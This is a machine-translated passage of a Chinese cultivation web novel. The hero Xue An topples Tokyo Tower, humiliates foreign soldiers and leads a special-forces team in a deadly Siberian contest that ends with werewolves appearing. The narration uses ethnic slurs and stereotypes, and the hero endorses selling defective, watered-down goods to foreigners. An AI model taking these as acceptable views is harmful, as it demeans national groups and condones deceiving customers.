    The sword light passed by, alarming countless experts in the Tokyo city.


    Many people who were meditating and cultivating suddenly opened their eyes and looked towards the sky in awe.


    "What a powerful sword!"


    "Who is this person?"


    Therefore, after Xue An''s sword light, countless figures rose to the sky and followed.


    A faint smile appeared at the corner of Xue An''s mouth.


    What he has to do is to let these people know what true power is.


    Jian Guang stopped.


    In front is the towering Tokyo Tower.


    Xue An stood in the air, silent.


    Someone said loudly, "Senior, why is there such a shocking sword aura?"


    At this moment, a thunder flashed by, and many people suddenly saw Xue An''s face.


    Some people exclaimed.


    "Xue An! He is Xue An!"


    Some people don''t know who Xue An is, and some people said solemnly.


    "This person is a great power in China. I heard that the Sensoji incident some time ago was his work!"


    hiss.


    Hearing this, many people couldn''t help taking a breath.


    In the case of Sensoji Temple, country R suffered numerous deaths and injuries.


    Could it be that this person did it?


    Xue An said indifferently at this time: "I came to Country R to look for something, and now I have found something, but some people actually come to trouble me. Therefore, I am going to let you see and anger me.


    With that, the sword light dragon suddenly rushed out, wrapped around the towering Tokyo Tower, and shrank suddenly.


    boom.


    This steel-cast high tower, a landmark building in Tokyo, was broken into three parts by this blow, and then slowly fell over and fell to the ground.


    boom!


    There was a loud and deafening noise.


    Rain and smoke are everywhere.


    The whole Tokyo was awakened by the loud noise.


    And these experts who rushed over were even paler by the sound of the blow, and some of them with shallow cultivation were directly shaken to the ground.


    Xue An stood in the air and said lightly: "Now, who else is not convinced?"


    No one dared to speak.


    Only the sound of rain filled the space between heaven and earth.


    Xue An nodded, "Very well, this is the lesson I taught you. If you dare to mess with me, this is the end!"


    After all, Xue An walked away with a sword.


    Until his people fly away.


    These talents let out a sigh of relief.


    "This person, what is the cultivation base?" Someone said in horror.


    "No matter what the cultivation base, this kendo cultivation base alone is already a god-like character, our country R, ??no one is his opponent!" Someone smiled bitterly.


    More still.


    In the face of absolute strength gap.


    These proud R country warriors all bowed their heads.


    When Xue An returned to the restaurant.


    Everyone in the restaurant looked at him pale.


    Especially those who are timid, regard Xue An as a ghost.


    "Husband, what happened just now? So loud?" An Yan asked.


    Xue An smiled, "It''s okay, I feel uncomfortable, and the Tokyo Tower is demolished!"


    "What?" Mika Motohashi and Keiko Kawada opened their eyes together.


    Tokyo Tower!


    That is a high tower made of steel, he demolished it alone?


    Even Edward was shocked.


    Xue An just smiled at this, "Let''s go, let''s go home! It is estimated that tomorrow, we can return to China!"


    "Really?" An Yan was very happy!


    Xue An nodded.


    Then he smiled slightly at Mika and others, "Goodbye!"


    Speaking of leading his wife and children, the family left.


    Mika Motobashi looked at Xue An''s back with a dull gaze, and suddenly understood.


    Everything I have is just wishful thinking.


    From Sensoji Temple to today, this powerful and mysterious man has shocked Mika Motohashi.


    But it also made her understand how desperate the gap between herself and Xue An was.


    "Miss Mombashi, let me take you home!" Edward Qiang smiled.


    Mika Motohashi glanced at him, did not say a word, and led her best friend Keiko Kawada and left alone.


    This night, many people are destined to sleepless.


    When the first rays of sunlight in the morning came into the house.


    Fascinated figures in Tokyo have gathered downstairs in the villa where Xue An lives.


    When Xue An went downstairs, everyone stood up.


    "Mr. Xue!"


    Xue An smiled slightly how? what''s up? "


    Although Xue An was smiling, in the eyes of these people, the man''s smile was terrifying.


    Because everything that happened last night has spread uncontrollably.


    Everyone knows that Tokyo Tower has fallen down.


    But what ordinary people don''t know is that it is this gentle-looking man who caused all this.


    The special envoy sent by the government of R country looked pale, wiped his cold sweat, and said with a flattering smile: "Mr. Xue, we are here to apologize to you. There may have been a misunderstanding between us some time ago. We apologize for this. Hope... ...."


    Xue An waved his hand, "Don''t be so scared. I did it last night because some of you repeatedly touched my bottom line. Now, after I finish my business, I will leave Country R soon!"


    Xue An''s words made everyone present secretly relieved.


    This killer is going away, that''s great!


    The envoy was even more overjoyed, "Mr. Xue, if so, then we will send a special plane to take you back!"


    "No, I want to go back, why? Do you want me to go so much?"


    Xue An''s words made the envoy start to sweat again.


    Xue An leaned on the sofa and said lightly: "Also, Kiyoko Takeuchi is my person, you should know what to do, right?"


    "Hi!" Everyone bent over and bowed their heads.


    These people may be under one person and above ten thousand people on the outside, and there are even many so-called elites with noble blood.


    But at this moment, they can only bow their heads to Xue An.


    Because in front of this man, they all understood one thing.


    Everything in the world is useless to him.


    What he controls is the most feared right.


    That is the life and death of everyone!


    Mobile station:


    Please remember the domain name of this book''s first publication:. Ghost Blowing Lantern Mobile Edition Reading URL:

 Chapter 227： Who dares not to accept, the pan slapped!

    Kiyoko Takeuchi looked at Xue An with tears in her eyes.


    Xue An smiled, "Since you call my master, then I will hand this sword to you for safekeeping!"


    Speaking, Xue An gave the streamer sword to Kiyoko Takeuchi.


    Kiyoko Takeuchi looked shocked, and said in amazement, "Master, this is absolutely impossible. Isn''t this sword your personal sword? If you give it to me, what do you use?"


    "In my eyes, everything in the world is a sword, and you don''t stick to this thing. Take it. You are guarding this place alone. After a long time, it is inevitable that someone will be distracted!" Xue An said lightly.


    Kiyoko Takeuchi looked solemnly, and after receiving streamer respectfully, he said solemnly: "Don''t worry, master, I will not humiliate the power of this sword!"


    Xue An nodded slightly, turned around and took An Yan and the others to board the plane.


    Kiyoko Takeuchi stood blankly, feeling empty in her heart.


    In a corner far away from the airport, Mika Motohashi looked at Xue An''s far back, shaking her clothes corners with her hands, her knuckles turned white due to excessive force.


    When the plane flew up into the sky and slowly headed towards China.


    Among the senior officials of Country R, ??a fierce debate is underway.


    "Now send an army, and a cannonball can shoot down the plane! It can be regarded as a big trouble for our empire!" A middle-aged man with a gloomy face said solemnly.


    "But this Xue Anxiu is a supernatural power. Everyone has seen what happened last night. If he is not dead, who can resist him?" Another person retorted.


    Everyone in the room was arguing. The Prime Minister who was sitting on the main seat turned to look at Fujita Mixi in the corner.


    It stands to reason that with her qualifications, she is not qualified to stand here, but because she is the only person who has seen Xue An take a shot and has not died, she made an exception to let her also participate in this meeting.


    "Fujita, what do you think of this matter?"


    Fujita Mixi''s eyes were dull and blank, and she was in a daze. She was shocked and regained consciousness when she heard the Prime Minister''s shout.


    "Ah, Prime Minister, I don''t know how to treat this matter, but Xue An said a word to me."


    "Oh? What?"


    "He said..." Fujita Miki paused, her eyes gleaming with horror.


    "His patience is only a little! If he provokes it again, no one knows what will happen."


    There was dead silence in the room.


    Even those who advocated getting off the plane were silent at this moment.


    After a long time.


    The Prime Minister sighed slightly, "Finally, don''t mention this matter again, remember to block the news completely, otherwise...it will be detrimental to the face of my empire!"


    "Hi!"


    The plane landed smoothly.


    When the family walked out of the airport lobby, An Qing was waiting at the door.


    As soon as I saw her.


    The two little girls rushed over with joy.


    "Auntie!"


    An Qing squatted down with a smile, carefully observed her thoughts and thoughts, and then nodded in satisfaction.


    "Well, not bad, no weight loss!"


    "Auntie, why do you think we have lost weight?" Xue Xiang asked.


    "Because if you lose weight, your parents must not take care of you. In that case, the aunt will be very angry and angry!"


    As An Qing said, she took out a large pack of snacks from her bag.


    "Take it! Specially prepared for you two!"


    "Thank auntie!"


    An Yan sighed helplessly at this time, "You, you are going to spoil them!"


    An Qing smiled, "I''ll take care of it!"


    Then he looked at Xue An and gave a thumbs up admiringly.


    "Brother-in-law, great!"


    Xue An smiled, "What''s so great?"


    "Tsk tusk, kill most of the martial arts masters in R country with one punch, cut several great ninja streams with swords, and also collapsed the Tokyo Tower. Isn''t that amazing?"


    An Qing now holds a very high position in the military, so she can know a lot of news that the outside world does not know.


    Xue An smiled after hearing it, "In my opinion, it''s just that the people in Country R are too weak!"


    "Hey! That''s awesome too!"


    Waiting to return home.


    Chen Xiuhe and Xue An''s brothers all arrived.


    Qiao Le said with some excitement: "Second brother, during the time you left, our Tianyuan was selling crazy, and then it was in short supply. We had to supply limited quantities, and now all major foreign forces want to buy."


    Xue An said: "The domestic supply must be guaranteed first, but you can get some defective products and sell them with some water!"


    "This...Is this all right?" Qiao Le widened his eyes.


    "Why not, how did they sell us things before? Now let''s sell them back, and it''s nothing more than the effect, and they can''t eat people!" Xue An said calmly.


    "Okay! This is a good way! Hey, those foreign devils are **** good things, I understand!" Qiao Le eagerly geared his hands.


    After tossing until the evening, the group of people ate Xue An for another meal before they dispersed.


    Because of the jet lag, the two little girls were so sleepy early that An Yan took them back to sleep.


    Xue An was lying on the bed, closing his eyes and resting.


    Suddenly, he felt a shock in the room.


    Xue An immediately stood up, and at this moment, An Yan also ran in with a panic expression, and suddenly plunged into Xue An''s arms.


    "Husband!"


    "What''s the matter?" Xue An quickly hugged An Yan.


    "I just fell asleep and fell asleep. I suddenly felt my body shake, and then I felt a very strange feeling. What is going on?" An Yan was obviously a little scared.


    Xue An''s complexion sank. Could it be that the seal is playing tricks again?


    But take a closer look at Xue An couldn''t help laughing.


    "It''s okay, but you have broken through now!"


    "Breakthrough?"


    Xue An nodded, and then said with some surprise: "My wife, I found that you seem to be a genius for cultivation!"


    "Others have not been able to break through after years of hard cultivation. You actually broke through when you fell asleep. If this spreads, it is estimated that many people will die in shame!"


    That''s right, now An Yan has broken through from the real state to the happy state.


    Such progress made Xue An all speechless.


    After all, unlike her own rebirth return, An Yan started to practice without a foundation.


    It seems that my wife''s background is bigger than originally thought...


    A faint smile appeared at the corner of Xue An''s mouth.


    At this time An Yan let out a sigh of relief.


    As long as it''s okay!


    At this time, Xue An leaned down and whispered in An Yan''s ear: "My wife, now your cultivation level is getting higher and higher, isn''t it..."


    An Yan didn''t understand what it meant at first, but when she suddenly understood, her face flushed.


    "This...I am uncomfortable for the past two days!" An Yan said with a voice.


    Xue An laughed, "What about you, little fool!"


    An Yan breathed a sigh of relief, and then suddenly twisted Xue An''s waist.


    hiss!


    Xue An gasped.


    It hurts a bit now!


    Seeing this, An Yan hurriedly let go of her hand, with a distressed expression on Xue An''s wounds, "I''m sorry, my husband, I don''t know my hands are so strong now! Does it still hurt?"


    Xue An shook his head, grabbed An Yan''s little hand, and said with satisfaction: "The stronger the hand, the better. In the future, I will make you an indestructible pan. Whoever dares to refuse, just pat!"


    Please remember the domain name of this book''s first publication:. The mobile version of Ghost Blowing Lantern Reading URL:

 Chapter 228： World Special Forces Competition

    The next day, as soon as it was light, An Qing started knocking on the door impatiently.


    "Brother-in-law, sister, get up!"


    Now Xue An doesn''t need to sleep at all, but because she is used to it, she still sleeps in bed.


    After hearing An Qing''s shout, he frowned slightly.


    what happened?


    When she got up to open the door, An Qing smiled, "Brother-in-law, I''m really sorry, I guess you won''t be able to stay at home!"


    "Ok?"


    "I should have told you yesterday, but as soon as you got off the plane, I didn''t say! The Phoenix is ??going to participate in the World Special Forces Competition. It should have been led by the general, but now the general is no longer there."


    Speaking of this, An Qing''s expression was a little sad.


    "Therefore, the order from the army just now lets you lead the team!"


    "Should I lead the team?" Xue An was a little surprised.


    "Yeah! This is what I proposed. After all, you built the Fire Phoenix. In terms of qualifications and prestige, you are the most suitable candidate!" An Qing said seriously.


    Xue An was a little dumbfounded, "It seems...I am not a member of the army, is this command useless to me?"


    An Qing smiled slyly, "Didn''t the general grant you the rank of Major General Suzaku? From then on, you have been in the army!"


    Xue An: "..."


    "Brother-in-law, don''t be angry, this is really too important..."


    Xue An waved his hand and said lightly: "Well, if someone else does this, I will definitely refuse, but you are an exception, not to mention that I promised General Lin to help him take care of everyone."


    "So you agree! Haha! Brother-in-law, you are so kind!" An Qing danced.


    And when the news that Xue An led the team returned to the Huofenghuang camp, all the members of the Huofenghuang team were also excited.


    "The instructor is coming back!"


    "Great, the instructor leads the team, this time I will definitely win the first place!"


    A few of the newly recruited players have their eyes flushed.


    Because their ears were full of Xue An''s deeds, especially Xue An''s method of using the Demon Realm to test the Fire Phoenix players, it made these people who had no chance to experience it envied.


    And Xue An is chatting with An Yan and her daughter at the moment.


    "This time I won''t go to Miss Miss. After all, it is not convenient for us to appear in the army!" An Yan said.


    Xue An nodded, "Alright, I just asked, this time the venue is in Siberia, it''s not too far away from us, I came here by sword, it''s only a day away!"


    "Hmm! Husband, you have to be careful outside!" An Yan said.


    Xue An smiled and suddenly took out a delicately shaped pan from his bag.


    "Look, this is the artifact I just created for you. Take it for self-defense!"


    An Yan was a little bit dumbfounded, but when he took it, he found that he was very handy.


    In fact, An Yan didn''t know that Xue An had spent a lot of trouble for this pan, although because there were no natural treasures, the power might not even reach the magic weapon.


    But because Xue An uses the most advanced heart refining technique in the refining device, he still gives this pan with ordinary materials a touch of aura.


    "This thing is most suitable for you, and no one will doubt its purpose. It can also be used for cooking. It is perfect!" Xue An said with a smile.


    An Yan experimented a few times with excitement, and then nodded in satisfaction, "Sure enough, I just don''t know if beating is good or not!"


    Xue An suddenly felt a chill in his back, and then said to An Qing with a serious face: "I think we should go now, otherwise it will waste time and make things easy!"


    An Qing smiled and nodded, "Yes!"


    When Xue An appeared on the military plane that was about to fly to Siberia, the members of the Fire Phoenix all stood up and saluted.


    "I have seen the instructor!"


    The sound shook the other people in the barracks.


    Xue An looked at these former subordinates and nodded with satisfaction.


    At the beginning, I gave each of them a exercise technique, and now it seems that they are practicing well.


    "Okay, sit down!"


    Everyone was seated, and then Cheng Hao and Sun Ling approached.


    "Instructor, I heard that we are going to Siberia this time? And I also heard that this game is the most difficult in recent years?"


    Xue An nodded, "It''s Siberia, but I don''t know if it''s difficult, why? Afraid?"


    Cheng Hao smiled. "I''m afraid the difficulty is not enough, and it won''t be interesting if we won the first place."


    Sun Ling said to Xue An apologetically: "Instructor, that day..."


    Xue An waved his hand, "Okay, don''t mention it when it''s over!"


    On the way to Siberia, Xue An talked to these players.


    And if they don''t understand in practice, Xue An will answer them one by one.


    So when it came to Siberia, the best of these people, such as Cheng Hao and others, had a weaker cultivation base.


    When I got off the plane, a beautiful shadow walked over quickly and saluted Xue An.


    "Mr. Xue! I didn''t expect to meet so soon!"


    Xue An saw that it was Susanna, the instructor of State E who had been hired by Commander Hu.


    In this barracks full of men, Susanna''s appearance was like a shot in the arm, and everyone was excited about it. At least the people passing by were watching Susanna intently.


    Only Xue An smiled indifferently, "Why are you here?"


    "This time I am here on behalf of the E country military! Seeing your name on the team leader, I came here to wait!" Susanna said with a smile.


    At this time, Cheng Hao and others winked at Xue An, and then left with a smile.


    Susanna said enviously: "These players under your team are simply too powerful, really enviable!"


    And just at this moment, a cold voice rang from behind, "Huh, I think it''s just normal! It''s really good!"


    Following the voice, a bald head slowly walked over.


    This person looks fierce, with a dark complexion, and a pair of triangular eyes are full of cold light, which makes people feel very uncomfortable.


    Susanna frowned when she saw this man.


    "Instructor Black Snake, why are you here too?"


    The black snake grinned and saw that Susanna''s eyes were full of naked possessiveness, "I came here to see how powerful the famous Fire Phoenix is, and who the instructor who is blown up as a fairy is."


    "The result..." A sneer appeared at the corner of Black Snake''s mouth.


    "But so!"


    Susanna frowned and smiled apologetically at Xue An, meaning not to be angry.


    Xue An looked at the black snake with interest, and then smiled non-committal.


    "Interesting, does anyone dare to crossbreed between humans and animals?"


    This sentence made Black Snake''s complexion frantically changed, and just wanted to say something.


    Susanna''s face sank, "Black Snake instructor, I think you should be clear about the purpose of the Siberian training camp. Any private fight and verbal provocation are strictly prohibited, otherwise you will be disqualified from the competition! Understand?"


    Black licked his dry lips, "Very well, I will be on the playing field and let my boys tear your men to pieces!"


    Xue An didn''t bother to respond to this threat.


    Please remember the domain name of this book''s first publication:. Ghost Blowing Lantern Mobile Edition Reading URL:

 Chapter 229： Do you believe in the devil?

    After the black snake left, Susanna said apologetically: "Mr. Xue, this person..."


    Xue An said lightly: "It''s just a biochemical unit."


    Susanna shocked, then looked at Xue An in disbelief, "How do you know?"


    "It can be seen that it is probably the special forces of old M. Apart from them, no one dares to be so crazy." Xue An said lightly.


    The black snake was transplanted into the gene of the python and other beasts, which greatly increased his strength and became a terrifying weapon for harvesting life on the battlefield.


    But in Xue An''s view, this is **** at all.


    Human potential is the greatest, but if it is contaminated by the genes of these beasts and livestock, it will no longer be able to survive.


    Susanna nodded, "Mr. Xue is really insightful!"


    Xue An smiled, "Your idioms are also good!"


    "I wonder if Mr. Xue is interested in drinking two glasses?" Susannah smiled.


    When this woman laughed, everyone who had been watching her secretly was stunned.


    The training camp is located in the worst place in Siberia.


    It is covered by snow and ice most of the year.


    Although it is only August and September, it has already started to snow here.


    But because the army is stationed here, there is a small town nearby that is very prosperous.


    Of course, where there are many troops in Country E, the most pubs on the street.


    At this moment, in a small tavern, Susanna and Xue An are sitting opposite each other, drinking high-grade vodka, a specialty here.


    To put it bluntly, it is actually wine with an alcohol content of over 90%.


    Susanna looked at Xue An sipping vodka one by one without changing her face. She couldn''t help but be a little surprised and said: "Is Mr. Xue drinking so much?"


    Xue An smiled. If he wanted to, he couldn''t get drunk in the jar.


    "You seem to have a lot of thoughts?" Xue An put down his wine glass and said lightly.


    Susanna was taken aback for a while, then sighed.


    "Mr. Xue is really amazing, yes, something has made me uneasy recently!"


    Xue An continued to drink.


    A look of panic flashed across Susanna''s face, "Mr. Xue, do you believe in the existence of the devil?"


    Xue An raised his eyes and glanced at her, then smiled, "What''s the matter?"


    "Recently..." Susanna paused, and then said: "Recently, a devil appeared near this training camp!"


    "I didn''t believe it at first, but once, I followed a small team to patrol, and I really met..."


    Susanna''s complexion began to turn pale, "It''s a group of wolves walking upright, and they also glanced at me. Those eyes are definitely only available to intelligent creatures."


    Xue An looked calm and continued to drink slowly, "What then?"


    "I asked the old people here, and they said that there used to be werewolves here! If before, I would have sneered at it, but now I am also confused!"


    "Later I reacted to my superiors, but they didn''t believe it, and now the competition is about to go, if something goes wrong......" Susanna''s face was full of worry.


    Xue An smiled slightly, "There is an old saying in China that soldiers come to keep the water and come to Tutun. If there are werewolves, maybe this game will be more exciting!"


    "I hope!" Susanna''s face still has a gloom.


    At this moment, two big guys from Country E who were drunk and open-hearted approached with a smile.


    When leaving the barracks, she naturally needs to change her military uniform, so Susanna is now wearing a casual suit. Her slim and attractive figure has long made many men in the tavern coveted.


    "Chinese? Get out of here!" a man shouted drunkly.


    Many people in the bar are smiling and preparing to watch the excitement.


    After all, in many cases, Chinese people are the most bullied.


    Susanna''s face sank and she wanted to talk.


    She was afraid that Xue An would kill this person again in a fit of anger, and that would make things worse.


    Xue An shook his head gently at her.


    "Have you heard, let you go away! We are going to have a drink with this little girl!" the man yelled.


    Xue An suddenly picked up a fork on the table and nailed it directly to the man''s hand.


    The fork pierced the palm of the hand directly, and then nailed deeply into the wood.


    The man didn''t react at first, and it took a while before he cried out in pain.


    The other rushed up and wanted to do it. Xue An pushed him on the table, picked up another fork, passed it directly through his neck, and nailed it to the table.


    However, Xue An was very accurate. This fork perfectly avoided the blood vessels and did not kill them both.


    Then Xue An said faintly in Russian: "I will meet Chinese people in the future, remember not to be so arrogant, otherwise, your lives will not be saved next time! Understand?"


    Two painful barbarians, grinning and crying, nodded again and again.


    And Xue An''s thunder method also shocked everyone in the tavern.


    "Let''s go!" Xue An stood up and said lightly.


    Susanna looked at Xue An with a surprised look. She waited until she walked outside before she said: "When you started, I thought you would kill them!"


    Xue An smiled, "Kill them? That will only dirty my hands!"


    After Xue An left, the people in the tavern stepped forward and tried to pull the two out of the table, but they didn''t expect the fork to be inserted into the wood and could not be pulled out.


    In the end, I had to use a saw to cut the wood a little bit, only to find that the wood and the fork had been integrated.


    This scene made a few people of E country feel cold.


    How powerful is that elegant Chinese man?


    A fork in his hand made the fork melt.


    And at this moment, at the station of the M Army Black Mamba Special Forces.


    The black snake was gloomy.


    Because he just received the news, Susanna and Xue An changed their casual clothes and went out.


    This made the black snake coveting Susanna go crazy.


    That Chinese! Must die!


    Although there are rumors that he is very strong, Black Snake has strong self-confidence and thinks he can tear Xue An into pieces!


    after all����.


    He still has a lot of unused cards.


    The black snake smugly stroked a light blue injection, which was the special stimulant that had just been airlifted from Country M.


    As long as you inject it , your abilities will suddenly increase twenty times.


    What is that concept?


    Now the black snake has a ton of punch!


    If you multiply it twenty times, the power of a punch reaches twenty tons.


    This is enough to knock out a train.


    Therefore, the black snake has such a strong self-confidence.


    As for his subordinates, they all closed their eyes at this moment, standing quietly against the wall like a dead body.


    Everyone has a nutrient tube inserted into their body.


    This is the best way to accumulate energy before the war!


    In the eyes of Black Snake, only such troops are the real human weapons, and all the others are rubbish.


    flaming Phenix? Hey, I will send you all to **** when that happens! The black snake sneered.

 Chapter 230： Game start

    "You are all special forces elites from all over the world, so I don''t need to say too much. There are only two requirements in the competition. First, kill the opponent! Second, win! Good luck!"


    A bearded officer from country E stood on a high platform and gave a very brief opening speech.


    That''s right.


    Casualties are allowed in the World Special Forces Games.


    This is also the most authoritative reason.


    After he stepped down, the game officially began, and a dozen special forces boarded the helicopter.


    They will be mixed in the mountains and old forests in a radius of 20 kilometers.


    In this vast forest, speaking by strength.


    The instructors were all concentrated in the hall.


    There are light spots on the screen representing the respective units.


    This is the only information they can see.


    Everyone stared at the big screen solemnly.


    Only Xue Anhao sat on the sofa in his spare time, sipping vodka bit by bit.


    He is a little in love with the taste now, and even drinks it as water.


    There was also Black Snake. He also sat in the distance calmly, without even looking up at the big screen, as if he had great confidence in his troops.


    In another room, Chekov looked at the monitor screen in the hall, took a sip from the flask, and chuckled, "Susana, among these people, whose team do you think will win?"


    Susanna respectfully said: "General, in my opinion, it should be the fire phoenix of China."


    "Oh? Why?" Chekov was curious.


    "Because the instructor of the Fire Phoenix... is very strong!" Susanna said.


    Chekov smiled and stared at the drinking Xue An on the screen, "I heard that when you went to China, you were defeated by him?"


    "Yes!"


    "But I feel that the outcome of this game is unpredictable. After all, the black mamba of country M is not a vegetarian, and this black snake is a killer who once galloped on the battlefield of D." Chekov said lightly.


    Susanna lowered her head and said nothing.


    Chekov turned his back to her, his eyes flickered slightly, and then whispered softly: "Susanna, remember, you will always be a loyal fighter of Country E. Don''t be blinded by some personal relationships!"


    A trace of doubt flashed in Susanna''s eyes, she didn''t understand why the general suddenly said such a sentence, but she still respectfully said: "Yes!"


    "Respect these warriors!" Chekov raised his hip flask toward the forest in the distance, but a cold smile appeared at the corner of his mouth.


    Ten minutes after the start of the game.


    The light spots on the big screen began to decrease sharply.


    The exclamation in the hall came and went one after another, and many instructors were all pale.


    Because although the game has just started, it has faintly revealed that two teams are harvesting the battlefield.


    Soon, the first team to be eliminated appeared.


    This also set the record for the fastest elimination in previous competitions.


    When everyone was in doubt, Xue An looked indifferent, because he had absolute confidence in his men.


    Last night, in order to adapt to the harsh illusion of the Siberian jungle, Xue An deliberately asked them to carry out several trials of demons.


    As Xue An thought.


    At this moment in the snow-covered jungle, Zou Yi was leaning low and sneaking slowly.


    He was wearing a snow-white field uniform, which was hard to notice in the vast forest.


    But the most important thing is that Zou Yi''s practice is a technique specially used for latent assassination.


    This was also given to him by Xue An.


    After Zou Yi got it, he started crazy cultivation, and now he has made a small achievement. Although he can''t compare with Cheng Hao, Sun Ling and others, he seems to be a master.


    Holding his breath and mingling with the surrounding world, Zou Yi slowly approached a sniper lurking behind a snowdrift.


    Ten meters!


    Five meters!


    Zou Yi could see the slight heat emanating from the sniper''s nostrils.


    Zou Yi suddenly violent, and the dagger pierced between the third and fourth sections of the spine directly from his back.


    The blade cut the blood vessels and nerves, and the sniper was paralyzed without making a sound.


    Cheng Hao said as the captain before leaving, he understood that this was a war, and he should not be merciful.


    After killing an enemy sniper, Zou Yi let out a sigh of relief, just about to hide again.


    Suddenly, a strong murderous aura came from the side.


    Zou Yi didn''t even think, and subconsciously looked back.


    A bayonet glowing with cold light pierced from where he had just been.


    Zou Yi was frightened and sweated all over. If he reacted a little slower just now, then it was himself who died on the spot.


    Only then did Zou Yi see who the enemy was.


    A foreign devil with a cold face in a thin combat uniform.


    "Wipe, it''s a black mamba!" Zou Yi couldn''t help but sink when he saw the opponent''s uniform.


    The Black Mamba Special Forces is an extremely powerful team in this competition. Captain Cheng Hao said that it is them who can truly be called the opponent this time.


    In particular, I heard that these countrymen M use biochemical technology to transform every soldier into a killing machine.


    So Zou Yi couldn''t help but sink when he saw this opponent.


    Just about to dodge, the bayonet in the hands of this black mamba player changed from a straight stab to a stab.


    The rapid changes made Zou Yi''s souls go wild.


    It''s over, this time it''s dead!


    This idea just came to Zou Yi''s mind.


    A majestic back figure passed in front of him, and he used his back to resist the blow.


    With a bang, there was a humming of gold and iron, as if this brawny man''s body was not made of meat, but made of steel.


    Zhou Da Niu!


    The brawny man at the beginning has now become one of the top players in the team by practicing the Immortal Vajra Method that Xue An bestowed on him.


    He is also Zou Yi''s golden partner.


    Zou Yi couldn''t help letting out a sigh of relief as soon as he saw him, but at this moment, the black Mamba member stood up, and the stab in his hand fell straight down.


    Zou Yi couldn''t help exclaiming, "Be careful!"


    A look of disdain appeared on Zhou Daniu''s face, and he snorted, his muscles seemed to be coated with a faint golden light.


    Click.


    The army thorn actually broke.


    This time even the members of the black Mamba were shocked.


    Taking this opportunity Zhou Daniu turned around and blasted it out with a punch.


    After landing, the man''s chest and stomach were blown up and he died on the spot.


    "Okay, Daniel, your Immortal Vajra has grown again!" Zou Yi said with a smile.


    Zhou Da Niu smiled sullenly, "There are some things I don''t understand, the instructor told me this time, it''s naturally amazing!"


    "Okay, now we''re going to meet the captain as agreed, you are thirty degrees on my left hand, and move forward together!" Zou Yi said solemnly.


    Zhou Daniu nodded.


    He is a simple-headed person, so he will partner with the flexible-minded Zou Yi.


    "Hey, we won the game this time, maybe our instructor won''t leave!" Zou Yi said with a smile.


    Hearing this, Zhou Daniu''s eyes lit up and he muffled: "For the instructor, I will tear these guys up!"

 Chapter 231： Werewolf appears

    The game is only an hour.


    Three teams were eliminated, and the results were all either dead or disabled.


    The result of this cruel match scared many people.


    In some countries, the instructors looked pale and angrily wanted Chekov to stop the game.


    But Chekov just smiled.


    "I said that this game is a war. Once it starts, it cannot be stopped unless it wins or dies."


    Chekov''s words caused a commotion, and many people began to condemn.


    But Chekov didn''t even bother to listen, so he turned around and went out.


    These instructors were almost mad, but helplessly, Chekov couldn''t get in, so he pointed the finger at Black Snake and Xue An.


    From the beginning to the present, the two of them have harvested the most results, and suffered the least losses.


    "Didn''t China''s special forces have always been known for their humanitarianism? Why are they hurting the killer this time?" a man with a dark complexion and a big belly roared.


    You don''t need to ask about your nationality, you can guess which country it is from just by the rich curry flavor.


    But his questioning failed to make Xue An raise his eyelid, still drinking vodka slowly.


    "Chinese, shouldn''t you give an explanation for this matter?" another blond man with a gloomy expression said solemnly.


    Xue An put down his wine glass, looked up at these aggressive questioners, a cold smile appeared at the corner of his mouth.


    "General Chekov is right. This is the battlefield, and if our troops are weak, will you... let it go?"


    Xue An''s words made it difficult for these people to look.


    "But you don''t have to be so cruel!" The instructor of Y degree is still reluctant.


    Xue An said indifferently: "If you fall behind, you will be beaten. This is an ancestral instruction uploaded by our ancestors. Now I will give it to you!"


    These people who surrounded Xue An wanted to say something, they heard a few screams behind him.


    Turning his head and looking, he saw several instructors who were questioning the black snake lying on the floor in different places.


    The blood soaked the entire floor, exuding a thick **** air.


    Everyone was stunned.


    "You... how dare you be a killer?" a pale instructor trembled.


    The Black Snake sneered, "Without the strength, you don''t even have the qualifications to talk nonsense in front of me! If you dare to talk, these people are your fate!"


    The black snake''s brutal methods shocked everyone.


    Then Black Snake looked at Xue An, and said indifferently: "I admit that I underestimated you Fire Phoenix, but do you think you can compete with our Black Mamba based on this strength?"


    Xue An smiled faintly, "I don''t need to talk about the outcome, but at least...I haven''t had a casualty among my men!"


    Everyone shook together and turned to look at the big screen.


    really!


    Only the Fire Phoenix Special Forces is still full.


    The black snake''s complexion gradually darkened, and after a cold snort, he closed his eyes again.


    As he closed his eyes, the chip rooted in the body of the black Mamba received a signal at the same time.


    The expressions of these black Mamba members, who looked indifferently like machines, all changed, their eyes quickly turned crimson, and their aura increased by more than several times.


    Then these people were like killing gods, shredding all the enemies in front of them, and came straight in the direction of the burning phoenix.


    Everyone quietly looked at the two forces that were about to come into contact on the screen, and Susanna couldn''t help but her expression became serious.


    Only Xue An, as if everything in the outside world had nothing to do with him, was still drinking unhappily.


    At the moment in the jungle.


    The members of the Fire Phoenix were all present, but Cheng Hao and others were too late to be happy, because a very powerful momentum was approaching.


    Now the entire battlefield, there are only two of them left.


    The others either died or quit by themselves.


    Sun Ling stepped forward and said: "Captain, it seems that the other party has a very hard idea!"


    Cheng Hao said indifferently: "A special force fed by drugs and technology is destined to become our defeated man!"


    Stop talking.


    The black Mamba still rushed to the front.


    These people kept running at a speed from start to finish, and even the hills and trees couldn''t stop them.


    Cheng Hao said solemnly: "Everyone, kill each other, and give the instructor a perfect result!"


    "Yes!"


    The voice of promise shook the valley, and the people of the Fire Phoenix rushed up without hesitation.


    If you look down from the air at this moment, you can see that the two forces, one black and one white, are like two sharp blades, instantly fighting each other and starting a cruel fight.


    There was silence in the hall.


    One, two, three.......


    The black mamba''s light spots are decreasing one by one.


    But none of the stubborn light spots that belonged to the Fire Phoenix were ever extinguished.


    Such a scene also made Black Snake''s face turn blue.


    Xue An just smiled indifferently.


    Because he knew that this was just the beginning.


    boom.


    Zhou Daniu smashed a black Mamba member with a punch, and then said solemnly: "Who else?"


    Such a fierce momentum shocked these indifferent Black Mamba players, and they involuntarily took two steps back.


    "Hey, you know that you are afraid! I thought you were all robots!" A voice came from behind these people, and then a dagger harvested life like a ghost.


    The Fire Phoenix gradually gained the upper hand with an overwhelming advantage.


    But at this moment, the forest stretched out and heard the sound of footsteps shaking the four wilds.


    Cheng Hao and others were shocked. They thought it was the reinforcements of the Black Mamba, but they turned their heads and saw an unbelievable scene.


    Seeing a werewolf of more than twenty people slowly came out.


    These werewolves are about three meters tall, with fierce aura and a trace of contempt on their faces.


    Cheng Hao and others were dumbfounded.


    This...what is going on?


    At this moment, a werewolf waved away impatiently, and just this palm directly blasted a black mamba in front of him into pieces.


    hiss.


    Cheng Hao and the others took a breath and backed away.


